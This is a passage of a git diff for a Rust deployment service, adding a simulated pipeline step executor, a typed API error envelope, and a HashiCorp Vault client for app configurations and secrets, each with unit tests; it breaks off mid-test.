"source" => { + if let Some(output) = config.get("output") { + Ok(output.clone()) + } else { + Ok(input.clone()) + } + } + "transform" => { + if let Some(mapping) = config.get("mapping") { + let mut result = input.clone(); + if let (Some(result_obj), Some(mapping_obj)) = + (result.as_object_mut(), mapping.as_object()) + { + for (key, _) in mapping_obj { + if let Some(val) = input.get(key) { + result_obj.insert(key.clone(), val.clone()); + } + } + } + Ok(result) + } else { + Ok(input.clone()) + } + } + "condition" => { + let passed = evaluate_condition(config, input); + Ok(serde_json::json!({ + "condition_met": passed, + "input": input, + })) + } + "target" => Ok(serde_json::json!({ + "delivered": true, + "data": input, + })), + "parallel_split" => Ok(input.clone()), + "parallel_join" => Ok(input.clone()), + "ws_source" => { + if let Some(output) = config.get("output") { + Ok(output.clone()) + } else { + Ok(serde_json::json!({ + "ws_connected": true, + "url": config.get("url").cloned().unwrap_or(serde_json::json!("unknown")), + "data": input, + })) + } + } + "ws_target" => { + if let Some(output) = config.get("output") { + Ok(output.clone()) + } else { + Ok(serde_json::json!({ + "ws_delivered": true, + "url": config.get("url").cloned().unwrap_or(serde_json::json!("unknown")), + "data": input, + })) + } + } + "http_stream_source" => { + if let Some(output) = config.get("output") { + Ok(output.clone()) + } else { + Ok(serde_json::json!({ + "stream_connected": true, + "url": config.get("url").cloned().unwrap_or(serde_json::json!("unknown")), + "event_filter": config.get("event_filter").cloned(), + "data": input, + })) + } + } + "grpc_source" => { + if let Some(output) = config.get("output") { + Ok(output.clone()) + } else { + Ok(serde_json::json!({ + "grpc_connected": true, + "endpoint": config.get("endpoint").cloned().unwrap_or(serde_json::json!("unknown")), + "data": input, + })) + } + } + "grpc_target" => { + if let Some(output) = config.get("output") { + Ok(output.clone()) + } else { + Ok(serde_json::json!({ + "grpc_delivered": true, + "endpoint": config.get("endpoint").cloned().unwrap_or(serde_json::json!("unknown")), + "data": input, + })) + } + } + "cdc_source" => { + // CDC source produces change events from PostgreSQL WAL. + // In simulation mode, returns config-defined output or a sample change event. + if let Some(output) = config.get("output") { + Ok(output.clone()) + } else { + Ok(serde_json::json!({ + "cdc_connected": true, + "replication_slot": config.get("replication_slot").cloned().unwrap_or(serde_json::json!("pipe_slot")), + "publication": config.get("publication").cloned().unwrap_or(serde_json::json!("pipe_pub")), + "tables": config.get("tables").cloned().unwrap_or(serde_json::json!([])), + "status": "listening", + })) + } + } + "amqp_source" => { + if let Some(output) = config.get("output") { + Ok(output.clone()) + } else { + Ok(serde_json::json!({ + "amqp_connected": true, + "queue": config.get("queue").cloned().unwrap_or(serde_json::json!("default")), + "exchange": config.get("exchange").cloned().unwrap_or(serde_json::json!("")), + "status": "consuming", + "data": input, + })) + } + } + "kafka_source" => { + if let Some(output) = config.get("output") { + Ok(output.clone()) + } else { + Ok(serde_json::json!({ + "kafka_connected": true, + "brokers": config.get("brokers").cloned().unwrap_or(serde_json::json!("localhost:9092")), + "topic": config.get("topic").cloned().unwrap_or(serde_json::json!("default")), + "group_id": config.get("group_id").cloned().unwrap_or(serde_json::json!("pipe_group")), + "status": "subscribed", + "data": input, + })) + } + } + _ => Err(format!("Unknown step type: {}", step_type)), + } +} + +/// Evaluates a condition config against input data. +/// Config format: {"field": "field_name", "operator": "gt|lt|eq|ne|gte|lte", "value": } +pub fn evaluate_condition(config: &JsonValue, input: &JsonValue) -> bool { + let field = match config.get("field").and_then(|f| f.as_str()) { + Some(f) => f, + None => return true, // No field = pass-through + }; + + let operator = match config.get("operator").and_then(|o| o.as_str()) { + Some(o) => o, + None => return true, + }; + + let threshold = match config.get("value") { + Some(v) => v, + None => return true, + }; + + let actual = match input.get(field) { + Some(v) => v, + None => return false, // Field missing = condition fails + }; + + match operator { + "gt" => compare_values(actual, threshold) == Some(std::cmp::Ordering::Greater), + "gte" => matches!( + compare_values(actual, threshold), + Some(std::cmp::Ordering::Greater) | Some(std::cmp::Ordering::Equal) + ), + "lt" => compare_values(actual, threshold) == Some(std::cmp::Ordering::Less), + "lte" => matches!( + compare_values(actual, threshold), + Some(std::cmp::Ordering::Less) | Some(std::cmp::Ordering::Equal) + ), + "eq" => compare_values(actual, threshold) == Some(std::cmp::Ordering::Equal), + "ne" => compare_values(actual, threshold) != Some(std::cmp::Ordering::Equal), + _ => true, + } +} + +fn compare_values(a: &JsonValue, b: &JsonValue) -> Option { + if let (Some(a_num), Some(b_num)) = (a.as_f64(), b.as_f64()) { + return a_num.partial_cmp(&b_num); + } + if let (Some(a_str), Some(b_str)) = (a.as_str(), b.as_str()) { + return Some(a_str.cmp(b_str)); + } + None +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + #[tokio::test] + async fn source_step_with_output() { + let config = json!({"output": {"key": "value"}}); + let result = execute_step("source", &config, &json!({})).await.unwrap(); + assert_eq!(result, json!({"key": "value"})); + } + + #[tokio::test] + async fn source_step_passthrough() { + let input = json!({"data": 42}); + let result = execute_step("source", &json!({}), &input).await.unwrap(); + assert_eq!(result, input); + } + + #[tokio::test] + async fn transform_step_with_mapping() { + let config = json!({"mapping": {"name": true}}); + let input = json!({"name": "Alice", "age": 30}); + let result = execute_step("transform", &config, &input).await.unwrap(); + assert_eq!(result["name"], "Alice"); + } + + #[tokio::test] + async fn transform_step_passthrough() { + let input = json!({"x": 1}); + let result = execute_step("transform", &json!({}), &input).await.unwrap(); + assert_eq!(result, input); + } + + #[tokio::test] + async fn condition_step_passes() { + let config = json!({"field": "score", "operator": "gt", "value": 50}); + let input = json!({"score": 75}); + let result = execute_step("condition", &config, &input).await.unwrap(); + assert_eq!(result["condition_met"], true); + } + + #[tokio::test] + async fn condition_step_fails() { + let config = json!({"field": "score", "operator": "gt", "value": 50}); + let input = json!({"score": 25}); + let result = execute_step("condition", &config, &input).await.unwrap(); + assert_eq!(result["condition_met"], false); + } + + #[tokio::test] + async fn target_step() { + let input = json!({"msg": "hello"}); + let result = execute_step("target", &json!({}), &input).await.unwrap(); + assert_eq!(result["delivered"], true); + } + + #[tokio::test] + async fn parallel_split_passthrough() { + let input = json!({"data": [1, 2, 3]}); + let result = execute_step("parallel_split", &json!({}), &input) + .await + .unwrap(); + assert_eq!(result, input); + } + + #[tokio::test] + async fn parallel_join_passthrough() { + let input = json!({"merged": true}); + let result = execute_step("parallel_join", &json!({}), &input) + .await + .unwrap(); + assert_eq!(result, input); + } + + #[tokio::test] + async fn ws_source_with_output() { + let config = json!({"output": {"ws_data": "test"}}); + let result = execute_step("ws_source", &config, &json!({})) + .await + .unwrap(); + assert_eq!(result, json!({"ws_data": "test"})); + } + + #[tokio::test] + async fn ws_target_simulation() { + let config = json!({"url": "ws://localhost:9999"}); + let result = execute_step("ws_target", &config, &json!({"msg": "hi"})) + .await + .unwrap(); + assert_eq!(result["ws_delivered"], true); + } + + #[tokio::test] + async fn grpc_source_with_output() { + let config = json!({"output": {"grpc_data": "test"}}); + let result = execute_step("grpc_source", &config, &json!({})) + .await + .unwrap(); + assert_eq!(result, json!({"grpc_data": "test"})); + } + + #[tokio::test] + async fn grpc_target_simulation() { + let config = json!({"endpoint": "http://localhost:50051"}); + let result = execute_step("grpc_target", &config, &json!({"val": 1})) + .await + .unwrap(); + assert_eq!(result["grpc_delivered"], true); + } + + #[tokio::test] + async fn http_stream_source_with_output() { + let config = json!({"output": {"stream": "events"}}); + let result = execute_step("http_stream_source", &config, &json!({})) + .await + .unwrap(); + assert_eq!(result, json!({"stream": "events"})); + } + + #[tokio::test] + async fn cdc_source_default() { + let config = json!({"replication_slot": "test_slot", "publication": "test_pub", "tables": ["users"]}); + let result = execute_step("cdc_source", &config, &json!({})) + .await + .unwrap(); + assert_eq!(result["cdc_connected"], true); + assert_eq!(result["replication_slot"], "test_slot"); + assert_eq!(result["publication"], "test_pub"); + assert_eq!(result["status"], "listening"); + } + + #[tokio::test] + async fn cdc_source_with_output() { + let config = json!({"output": {"event": "insert", "table": "users"}}); + let result = execute_step("cdc_source", &config, &json!({})) + .await + .unwrap(); + assert_eq!(result["event"], "insert"); + assert_eq!(result["table"], "users"); + } + + #[tokio::test] + async fn unknown_step_type_errors() { + let result = execute_step("nonexistent", &json!({}), &json!({})).await; + assert!(result.is_err()); + assert!(result.unwrap_err().contains("Unknown step type")); + } + + #[tokio::test] + async fn simulated_failure() { + let config = json!({"error": "connection timeout"}); + let result = execute_step("source", &config, &json!({})).await; + assert!(result.is_err()); + assert_eq!(result.unwrap_err(), "connection timeout"); + } + + #[test] + fn condition_operators() { + let config_gt = json!({"field": "x", "operator": "gt", "value": 5}); + assert!(evaluate_condition(&config_gt, &json!({"x": 10}))); + assert!(!evaluate_condition(&config_gt, &json!({"x": 3}))); + + let config_eq = json!({"field": "x", "operator": "eq", "value": 5}); + assert!(evaluate_condition(&config_eq, &json!({"x": 5}))); + assert!(!evaluate_condition(&config_eq, &json!({"x": 6}))); + + let config_ne = json!({"field": "x", "operator": "ne", "value": 5}); + assert!(evaluate_condition(&config_ne, &json!({"x": 6}))); + assert!(!evaluate_condition(&config_ne, &json!({"x": 5}))); + + let config_lt = json!({"field": "x", "operator": "lt", "value": 5}); + assert!(evaluate_condition(&config_lt, &json!({"x": 3}))); + assert!(!evaluate_condition(&config_lt, &json!({"x": 7}))); + + let config_gte = json!({"field": "x", "operator": "gte", "value": 5}); + assert!(evaluate_condition(&config_gte, &json!({"x": 5}))); + assert!(evaluate_condition(&config_gte, &json!({"x": 6}))); + assert!(!evaluate_condition(&config_gte, &json!({"x": 4}))); + + let config_lte = json!({"field": "x", "operator": "lte", "value": 5}); + assert!(evaluate_condition(&config_lte, &json!({"x": 5}))); + assert!(evaluate_condition(&config_lte, &json!({"x": 4}))); + assert!(!evaluate_condition(&config_lte, &json!({"x": 6}))); + } + + #[test] + fn condition_missing_field() { + let config = json!({"field": "x", "operator": "gt", "value": 5}); + assert!(!evaluate_condition(&config, &json!({"y": 10}))); + } + + #[test] + fn condition_no_field_passthrough() { + let config = json!({"operator": "gt", "value": 5}); + assert!(evaluate_condition(&config, &json!({"x": 10}))); + } + + #[test] + fn condition_string_comparison() { + let config = json!({"field": "name", "operator": "eq", "value": "Alice"}); + assert!(evaluate_condition(&config, &json!({"name": "Alice"}))); + assert!(!evaluate_condition(&config, &json!({"name": "Bob"}))); + } +} diff --git a/stacker/stacker/src/services/typed_error.rs b/stacker/stacker/src/services/typed_error.rs new file mode 100644 index 0000000..c0e76d0 --- /dev/null +++ b/stacker/stacker/src/services/typed_error.rs @@ -0,0 +1,263 @@ +use std::collections::BTreeMap; +use std::fmt; + +use actix_web::http::StatusCode; +use actix_web::{HttpResponse, ResponseError}; +use serde::{Deserialize, Serialize}; + +pub const TYPED_ERROR_SCHEMA_VERSION: &str = "v1alpha1"; + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "snake_case")] +pub enum TypedErrorCode { + ComposePathUnresolved, + DeploymentCapabilityMissing, + DeploymentNotFound, + InternalError, + InvalidRequest, + PermissionDenied, + PlanStale, + RegistryAuthMissing, + RollbackTargetUnavailable, + RuntimeEnvDriftDetected, + VaultSecretNotFound, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "snake_case")] +pub enum TypedRemediationClass { + Auth, + Capability, + Configuration, + Internal, + Permissions, + Secret, + State, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct TypedErrorEnvelope { + pub schema_version: String, + pub code: TypedErrorCode, + pub message: String, + pub retryable: bool, + pub remediation_class: TypedRemediationClass, + #[serde(default, skip_serializing_if = "BTreeMap::is_empty")] + pub context: BTreeMap, +} + +impl TypedErrorEnvelope { + pub fn new( + code: TypedErrorCode, + message: impl Into, + retryable: bool, + remediation_class: TypedRemediationClass, + ) -> Self { + Self { + schema_version: TYPED_ERROR_SCHEMA_VERSION.to_string(), + code, + message: message.into(), + retryable, + remediation_class, + context: BTreeMap::new(), + } + } + + pub fn invalid_request(message: impl Into) -> Self { + Self::new( + TypedErrorCode::InvalidRequest, + message, + false, + TypedRemediationClass::Configuration, + ) + } + + pub fn deployment_not_found(message: impl Into) -> Self { + Self::new( + TypedErrorCode::DeploymentNotFound, + message, + false, + TypedRemediationClass::State, + ) + } + + pub fn deployment_capability_missing(message: impl Into) -> Self { + Self::new( + TypedErrorCode::DeploymentCapabilityMissing, + message, + false, + TypedRemediationClass::Capability, + ) + } + + pub fn compose_path_unresolved(message: impl Into) -> Self { + Self::new( + TypedErrorCode::ComposePathUnresolved, + message, + false, + TypedRemediationClass::Configuration, + ) + } + + pub fn vault_secret_not_found(message: impl Into) -> Self { + Self::new( + TypedErrorCode::VaultSecretNotFound, + message, + false, + TypedRemediationClass::Secret, + ) + } + + pub fn permission_denied(message: impl Into) -> Self { + Self::new( + TypedErrorCode::PermissionDenied, + message, + false, + TypedRemediationClass::Permissions, + ) + } + + pub fn internal_error(message: impl Into) -> Self { + Self::new( + TypedErrorCode::InternalError, + message, + true, + TypedRemediationClass::Internal, + ) + } + + pub fn with_context(mut self, key: impl Into, value: impl Into) -> Self { + self.context.insert(key.into(), value.into()); + self + } + + pub fn to_json(&self) -> String { + serde_json::to_string(self).unwrap_or_else(|_| { + format!( + r#"{{"schemaVersion":"{TYPED_ERROR_SCHEMA_VERSION}","code":"internal_error","message":"failed to serialize typed error","retryable":true,"remediationClass":"internal"}}"# + ) + }) + } + + pub fn to_pretty_json(&self) -> String { + serde_json::to_string_pretty(self).unwrap_or_else(|_| self.to_json()) + } + + pub fn from_mcp_error_message(message: &str) -> Self { + if let Ok(error) = serde_json::from_str::(message) { + return error; + } + if message.starts_with("Deployment not found") { + return Self::deployment_not_found(message); + } + if message.starts_with("Forbidden:") + || message.contains("Two-factor authentication is required") + { + return Self::permission_denied(message); + } + if message.starts_with("Invalid arguments:") + || message.starts_with("No deployment apps found") + || message.contains("App or service") + || message.contains("Missing params") + { + return Self::invalid_request(message); + } + Self::internal_error(message) + } +} + +#[derive(Debug, Clone)] +pub struct ApiTypedError { + status: StatusCode, + envelope: TypedErrorEnvelope, +} + +impl ApiTypedError { + pub fn bad_request(envelope: TypedErrorEnvelope) -> Self { + Self { + status: StatusCode::BAD_REQUEST, + envelope, + } + } + + pub fn not_found(envelope: TypedErrorEnvelope) -> Self { + Self { + status: StatusCode::NOT_FOUND, + envelope, + } + } + + pub fn forbidden(envelope: TypedErrorEnvelope) -> Self { + Self { + status: StatusCode::FORBIDDEN, + envelope, + } + } + + pub fn conflict(envelope: TypedErrorEnvelope) -> Self { + Self { + status: StatusCode::CONFLICT, + envelope, + } + } + + pub fn internal(envelope: TypedErrorEnvelope) -> Self { + Self { + status: StatusCode::INTERNAL_SERVER_ERROR, + envelope, + } + } +} + +impl fmt::Display for ApiTypedError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{}", self.envelope.message) + } +} + +impl std::error::Error for ApiTypedError {} + +impl ResponseError for ApiTypedError { + fn status_code(&self) -> StatusCode { + self.status + } + + fn error_response(&self) -> HttpResponse { + HttpResponse::build(self.status).json(&self.envelope) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn internal_errors_are_retryable() { + let error = TypedErrorEnvelope::internal_error("temporary backend issue"); + assert!(error.retryable); + assert_eq!(error.remediation_class, TypedRemediationClass::Internal); + } + + #[test] + fn deployment_capability_errors_are_not_retryable() { + let error = TypedErrorEnvelope::deployment_capability_missing("compose logs unsupported"); + assert!(!error.retryable); + assert_eq!(error.remediation_class, TypedRemediationClass::Capability); + } + + #[test] + fn mcp_error_mapping_prefers_known_not_found_code() { + let error = TypedErrorEnvelope::from_mcp_error_message("Deployment not found"); + assert_eq!(error.code, TypedErrorCode::DeploymentNotFound); + } + + #[test] + fn mcp_error_mapping_preserves_pre_serialized_typed_errors() { + let envelope = TypedErrorEnvelope::invalid_request("confirm=true is required") + .with_context("tool", "apply_deployment_plan"); + let error = TypedErrorEnvelope::from_mcp_error_message(&envelope.to_pretty_json()); + + assert_eq!(error, envelope); + } +} diff --git a/stacker/stacker/src/services/user_service.rs b/stacker/stacker/src/services/user_service.rs new file mode 100644 index 0000000..54ffc56 --- /dev/null +++ b/stacker/stacker/src/services/user_service.rs @@ -0,0 +1 @@ +//! Legacy User Service client moved to connectors/user_service/*. diff --git a/stacker/stacker/src/services/vault_service.rs b/stacker/stacker/src/services/vault_service.rs new file mode 100644 index 0000000..be818d4 --- /dev/null +++ b/stacker/stacker/src/services/vault_service.rs @@ -0,0 +1,868 @@ +//! Vault Service for managing app configurations +//! +//! This service provides access to HashiCorp Vault for: +//! - Storing and retrieving app configuration files +//! - Managing secrets per deployment/app +//! +//! Vault Path Template: {prefix}/{deployment_hash}/apps/{app_name}/config + +use anyhow::Result; +use reqwest::Client; +use serde::{Deserialize, Serialize}; +use std::collections::HashMap; +use std::time::Duration; + +const REQUEST_TIMEOUT_SECS: u64 = 10; + +/// App configuration stored in Vault +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct AppConfig { + /// Configuration file content (JSON, YAML, or raw text) + pub content: String, + /// Content type: "json", "yaml", "env", "text" + pub content_type: String, + /// Target file path on the deployment server + pub destination_path: String, + /// File permissions (e.g., "0644") + #[serde(default = "default_file_mode")] + pub file_mode: String, + /// Optional: owner user + pub owner: Option, + /// Optional: owner group + pub group: Option, +} + +fn default_file_mode() -> String { + "0644".to_string() +} + +/// Vault KV response envelope +#[derive(Debug, Deserialize)] +struct VaultKvResponse { + #[serde(default)] + data: VaultKvData, +} + +#[derive(Debug, Deserialize, Default)] +struct VaultKvData { + #[serde(default)] + data: HashMap, + #[serde(default)] + #[allow(dead_code)] + metadata: Option, +} + +#[derive(Debug, Deserialize, Clone)] +pub struct VaultMetadata { + pub created_time: Option, + pub version: Option, +} + +/// Vault client for app configuration management +#[derive(Clone)] +pub struct VaultService { + base_url: String, + token: String, + prefix: String, + http_client: Client, +} + +#[derive(Debug)] +pub enum VaultError { + NotConfigured, + ConnectionFailed(String), + NotFound(String), + Forbidden(String), + Other(String), +} + +impl std::fmt::Display for VaultError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + VaultError::NotConfigured => write!(f, "Vault not configured"), + VaultError::ConnectionFailed(msg) => write!(f, "Vault connection failed: {}", msg), + VaultError::NotFound(path) => write!(f, "Config not found: {}", path), + VaultError::Forbidden(msg) => write!(f, "Vault access denied: {}", msg), + VaultError::Other(msg) => write!(f, "Vault error: {}", msg), + } + } +} + +impl std::error::Error for VaultError {} + +impl VaultService { + /// Create a new Vault service from VaultSettings (configuration.yaml) + pub fn from_settings( + settings: &crate::configuration::VaultSettings, + ) -> Result { + let http_client = Client::builder() + .timeout(Duration::from_secs(REQUEST_TIMEOUT_SECS)) + .build() + .map_err(|e| VaultError::Other(format!("Failed to create HTTP client: {}", e)))?; + + tracing::debug!( + "Vault service initialized from settings: base_url={}, prefix={}", + settings.address, + settings.agent_path_prefix + ); + + Ok(VaultService { + base_url: settings.address.clone(), + token: settings.token.clone(), + prefix: settings.agent_path_prefix.clone(), + http_client, + }) + } + + /// Create a new Vault service from environment variables + /// + /// Environment variables: + /// - `VAULT_ADDRESS`: Base URL (e.g., https://vault.try.direct) + /// - `VAULT_TOKEN`: Authentication token + /// - `VAULT_CONFIG_PATH_PREFIX`: KV mount/prefix (e.g., secret/debug) + pub fn from_env() -> Result, VaultError> { + let base_url = std::env::var("VAULT_ADDRESS").ok(); + let token = std::env::var("VAULT_TOKEN").ok(); + let prefix = std::env::var("VAULT_CONFIG_PATH_PREFIX") + .or_else(|_| std::env::var("VAULT_AGENT_PATH_PREFIX")) + .ok(); + + match (base_url, token, prefix) { + (Some(base), Some(tok), Some(pref)) => { + let http_client = Client::builder() + .timeout(Duration::from_secs(REQUEST_TIMEOUT_SECS)) + .build() + .map_err(|e| { + VaultError::Other(format!("Failed to create HTTP client: {}", e)) + })?; + + tracing::debug!("Vault service initialized with base_url={}", base); + + Ok(Some(VaultService { + base_url: base, + token: tok, + prefix: pref, + http_client, + })) + } + _ => { + tracing::debug!("Vault not configured (missing VAULT_ADDRESS, VAULT_TOKEN, or VAULT_CONFIG_PATH_PREFIX)"); + Ok(None) + } + } + } + + /// Build the Vault path for app configuration + /// For KV v1 API: {base}/v1/{prefix}/{deployment_hash}/apps/{app_code}/{config_type} + /// The prefix already includes the mount (e.g., "secret/debug/status_panel") + /// app_name format: + /// "{app_code}" for compose + /// "{app_code}_config" for single app config file (legacy) + /// "{app_code}_configs" for bundled config files (JSON array) + /// "{app_code}_env" for .env files + fn config_path(&self, deployment_hash: &str, app_name: &str) -> String { + // Parse app_name to determine app_code and config_type + // "telegraf" -> apps/telegraf/_compose + // "telegraf_config" -> apps/telegraf/_config (legacy single config) + // "telegraf_configs" -> apps/telegraf/_configs (bundled config files) + // "telegraf_env" -> apps/telegraf/_env (for .env files) + // "_compose" -> apps/_compose (legacy global compose) + let (app_code, config_type) = if app_name == "_compose" { + ("_compose".to_string(), "_compose".to_string()) + } else if let Some(app_code) = app_name.strip_suffix("_env") { + (app_code.to_string(), "_env".to_string()) + } else if let Some(app_code) = app_name.strip_suffix("_configs") { + (app_code.to_string(), "_configs".to_string()) + } else if let Some(app_code) = app_name.strip_suffix("_config") { + (app_code.to_string(), "_config".to_string()) + } else { + (app_name.to_string(), "_compose".to_string()) + }; + + format!( + "{}/v1/{}/{}/apps/{}/{}", + self.base_url, self.prefix, deployment_hash, app_code, config_type + ) + } + + fn secret_url(&self, logical_path: &str) -> String { + format!( + "{}/v1/{}", + self.base_url.trim_end_matches('/'), + logical_path.trim_matches('/') + ) + } + + pub fn service_secret_path( + &self, + user_id: &str, + project_id: i32, + app_code: &str, + name: &str, + ) -> String { + format!( + "{}/users/{}/projects/{}/apps/{}/secrets/{}", + self.prefix.trim_matches('/'), + user_id, + project_id, + app_code, + name + ) + } + + pub fn server_secret_path(&self, user_id: &str, server_id: i32, name: &str) -> String { + format!( + "{}/users/{}/servers/{}/secrets/{}", + self.prefix.trim_matches('/'), + user_id, + server_id, + name + ) + } + + pub fn status_panel_npm_credentials_path(&self, server_id: i32) -> String { + format!( + "{}/hosts/{}/npm_credentials", + self.prefix.trim_matches('/'), + server_id + ) + } + + pub async fn fetch_secret_value(&self, logical_path: &str) -> Result { + let response = self + .http_client + .get(self.secret_url(logical_path)) + .header("X-Vault-Token", &self.token) + .send() + .await + .map_err(|e| VaultError::ConnectionFailed(e.to_string()))?; + + if response.status() == 404 { + return Err(VaultError::NotFound(logical_path.to_string())); + } + + if response.status() == 403 { + return Err(VaultError::Forbidden(logical_path.to_string())); + } + + if !response.status().is_success() { + let status = response.status(); + let body = response.text().await.unwrap_or_default(); + return Err(VaultError::Other(format!( + "Vault returned {}: {}", + status, body + ))); + } + + let vault_resp: VaultKvResponse = response + .json() + .await + .map_err(|e| VaultError::Other(format!("Failed to parse Vault response: {}", e)))?; + + vault_resp + .data + .data + .get("value") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) + .ok_or_else(|| VaultError::Other("value not found in Vault response".to_string())) + } + + pub async fn store_secret_value( + &self, + logical_path: &str, + value: &str, + ) -> Result<(), VaultError> { + let payload = serde_json::json!({ + "data": { + "value": value + } + }); + + let response = self + .http_client + .post(self.secret_url(logical_path)) + .header("X-Vault-Token", &self.token) + .json(&payload) + .send() + .await + .map_err(|e| VaultError::ConnectionFailed(e.to_string()))?; + + if response.status() == 403 { + return Err(VaultError::Forbidden(logical_path.to_string())); + } + + if !response.status().is_success() { + let status = response.status(); + let body = response.text().await.unwrap_or_default(); + return Err(VaultError::Other(format!( + "Vault store failed with {}: {}", + status, body + ))); + } + + Ok(()) + } + + pub async fn store_structured_secret_value( + &self, + logical_path: &str, + value: &serde_json::Value, + ) -> Result<(), VaultError> { + let payload = serde_json::json!({ + "data": value + }); + + let response = self + .http_client + .post(self.secret_url(logical_path)) + .header("X-Vault-Token", &self.token) + .json(&payload) + .send() + .await + .map_err(|e| VaultError::ConnectionFailed(e.to_string()))?; + + if !response.status().is_success() { + let status = response.status(); + let body = response.text().await.unwrap_or_default(); + return Err(VaultError::Other(format!( + "Failed to store secret at {}: {} - {}", + logical_path, status, body + ))); + } + + Ok(()) + } + + pub async fn delete_secret_value(&self, logical_path: &str) -> Result<(), VaultError> { + let response = self + .http_client + .delete(self.secret_url(logical_path)) + .header("X-Vault-Token", &self.token) + .send() + .await + .map_err(|e| VaultError::ConnectionFailed(e.to_string()))?; + + if response.status() == 404 || response.status() == 204 { + return Ok(()); + } + + if response.status() == 403 { + return Err(VaultError::Forbidden(logical_path.to_string())); + } + + if !response.status().is_success() { + let status = response.status(); + let body = response.text().await.unwrap_or_default(); + return Err(VaultError::Other(format!( + "Vault delete failed with {}: {}", + status, body + ))); + } + + Ok(()) + } + + /// Fetch app configuration from Vault + pub async fn fetch_app_config( + &self, + deployment_hash: &str, + app_name: &str, + ) -> Result { + let url = self.config_path(deployment_hash, app_name); + + tracing::debug!("Fetching app config from Vault: {}", url); + + let response = self + .http_client + .get(&url) + .header("X-Vault-Token", &self.token) + .send() + .await + .map_err(|e| VaultError::ConnectionFailed(e.to_string()))?; + + if response.status() == 404 { + return Err(VaultError::NotFound(format!( + "{}/{}", + deployment_hash, app_name + ))); + } + + if response.status() == 403 { + return Err(VaultError::Forbidden(format!( + "{}/{}", + deployment_hash, app_name + ))); + } + + if !response.status().is_success() { + let status = response.status(); + let body = response.text().await.unwrap_or_default(); + return Err(VaultError::Other(format!( + "Vault returned {}: {}", + status, body + ))); + } + + let vault_resp: VaultKvResponse = response + .json() + .await + .map_err(|e| VaultError::Other(format!("Failed to parse Vault response: {}", e)))?; + + let data = &vault_resp.data.data; + + let content = data + .get("content") + .and_then(|v| v.as_str()) + .ok_or_else(|| VaultError::Other("content not found in Vault response".into()))? + .to_string(); + + let content_type = data + .get("content_type") + .and_then(|v| v.as_str()) + .unwrap_or("text") + .to_string(); + + let destination_path = data + .get("destination_path") + .and_then(|v| v.as_str()) + .ok_or_else(|| { + VaultError::Other("destination_path not found in Vault response".into()) + })? + .to_string(); + + let file_mode = data + .get("file_mode") + .and_then(|v| v.as_str()) + .unwrap_or("0644") + .to_string(); + + let owner = data + .get("owner") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + let group = data + .get("group") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + + tracing::info!( + "Fetched config for {}/{} from Vault (type: {}, dest: {})", + deployment_hash, + app_name, + content_type, + destination_path + ); + + Ok(AppConfig { + content, + content_type, + destination_path, + file_mode, + owner, + group, + }) + } + + /// Store app configuration in Vault + pub async fn store_app_config( + &self, + deployment_hash: &str, + app_name: &str, + config: &AppConfig, + ) -> Result<(), VaultError> { + let url = self.config_path(deployment_hash, app_name); + + tracing::debug!("Storing app config in Vault: {}", url); + + let payload = serde_json::json!({ + "data": { + "content": config.content, + "content_type": config.content_type, + "destination_path": config.destination_path, + "file_mode": config.file_mode, + "owner": config.owner, + "group": config.group, + } + }); + + let response = self + .http_client + .post(&url) + .header("X-Vault-Token", &self.token) + .json(&payload) + .send() + .await + .map_err(|e| VaultError::ConnectionFailed(e.to_string()))?; + + if response.status() == 403 { + return Err(VaultError::Forbidden(format!( + "{}/{}", + deployment_hash, app_name + ))); + } + + if !response.status().is_success() { + let status = response.status(); + let body = response.text().await.unwrap_or_default(); + return Err(VaultError::Other(format!( + "Vault store failed with {}: {}", + status, body + ))); + } + + tracing::info!( + "Config stored in Vault for {}/{} (dest: {})", + deployment_hash, + app_name, + config.destination_path + ); + + Ok(()) + } + + /// List all app configs for a deployment + pub async fn list_app_configs(&self, deployment_hash: &str) -> Result, VaultError> { + let url = format!( + "{}/v1/{}/{}/apps", + self.base_url, self.prefix, deployment_hash + ); + + tracing::debug!("Listing app configs from Vault: {}", url); + + // Vault uses LIST method for listing keys + let response = self + .http_client + .request( + reqwest::Method::from_bytes(b"LIST").unwrap_or(reqwest::Method::GET), + &url, + ) + .header("X-Vault-Token", &self.token) + .send() + .await + .map_err(|e| VaultError::ConnectionFailed(e.to_string()))?; + + if response.status() == 404 { + // No configs exist yet + return Ok(vec![]); + } + + if !response.status().is_success() { + let status = response.status(); + let body = response.text().await.unwrap_or_default(); + return Err(VaultError::Other(format!( + "Vault list failed with {}: {}", + status, body + ))); + } + + #[derive(Deserialize)] + struct ListResponse { + data: ListData, + } + + #[derive(Deserialize)] + struct ListData { + keys: Vec, + } + + let list_resp: ListResponse = response + .json() + .await + .map_err(|e| VaultError::Other(format!("Failed to parse list response: {}", e)))?; + + // Filter to only include app names (not subdirectories) + let apps: Vec = list_resp + .data + .keys + .into_iter() + .filter(|k| !k.ends_with('/')) + .collect(); + + tracing::info!( + "Found {} app configs for deployment {}", + apps.len(), + deployment_hash + ); + Ok(apps) + } + + /// Delete app configuration from Vault + pub async fn delete_app_config( + &self, + deployment_hash: &str, + app_name: &str, + ) -> Result<(), VaultError> { + let url = self.config_path(deployment_hash, app_name); + + tracing::debug!("Deleting app config from Vault: {}", url); + + let response = self + .http_client + .delete(&url) + .header("X-Vault-Token", &self.token) + .send() + .await + .map_err(|e| VaultError::ConnectionFailed(e.to_string()))?; + + if !response.status().is_success() && response.status() != 204 { + let status = response.status(); + let body = response.text().await.unwrap_or_default(); + tracing::warn!( + "Vault delete returned status {}: {} (may still be deleted)", + status, + body + ); + } + + tracing::info!( + "Config deleted from Vault for {}/{}", + deployment_hash, + app_name + ); + Ok(()) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use wiremock::matchers::{method, path}; + use wiremock::{Mock, MockServer, ResponseTemplate}; + + /// Helper to extract config path components without creating a full VaultService + fn parse_app_name(app_name: &str) -> (String, String) { + if app_name == "_compose" { + 